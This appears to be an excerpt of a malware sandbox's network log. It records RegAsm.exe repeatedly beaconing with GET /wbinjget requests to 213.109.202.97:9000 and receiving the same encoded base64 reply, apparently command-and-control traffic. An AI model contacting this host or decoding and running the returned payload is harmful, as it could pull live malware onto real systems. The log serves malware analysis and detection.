Oct 19, 2024 03:37:44.262871027 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:45.182348967 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:45 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49860	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:45.295131922 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:46.213063955 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:46 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49866	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:46.325906038 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:47.222506046 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:47 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49872	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:47.342466116 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:48.214493036 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:47 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49878	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:48.325314045 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:49.193258047 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:48 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49884	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:49.309783936 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:50.216216087 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:49 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49894	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:50.326246977 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:51.196980953 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:50 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49900	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:51.340915918 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:52.235456944 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:52 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49906	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:52.356683969 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:53.256500006 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:53 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49913	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:53.372337103 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:54.271348000 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:54 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49919	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:54.434716940 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:55.328650951 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:55 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49925	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:55.451165915 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:56.328552961 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:56 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49932	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:56.452511072 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:57.355391979 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:57 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49938	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:57.643186092 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:58.537898064 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:58 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49944	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:58.653592110 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:59.551184893 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:58 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49951	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:59.670429945 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:00.549156904 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:59 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49957	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:00.669374943 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:01.555979967 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:00 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49967	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:01.669477940 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:02.566147089 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:01 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49973	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:02.770478964 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:03.641438007 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:02 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49979	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:03.763801098 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:04.682929993 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:04 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49985	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:04.794398069 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
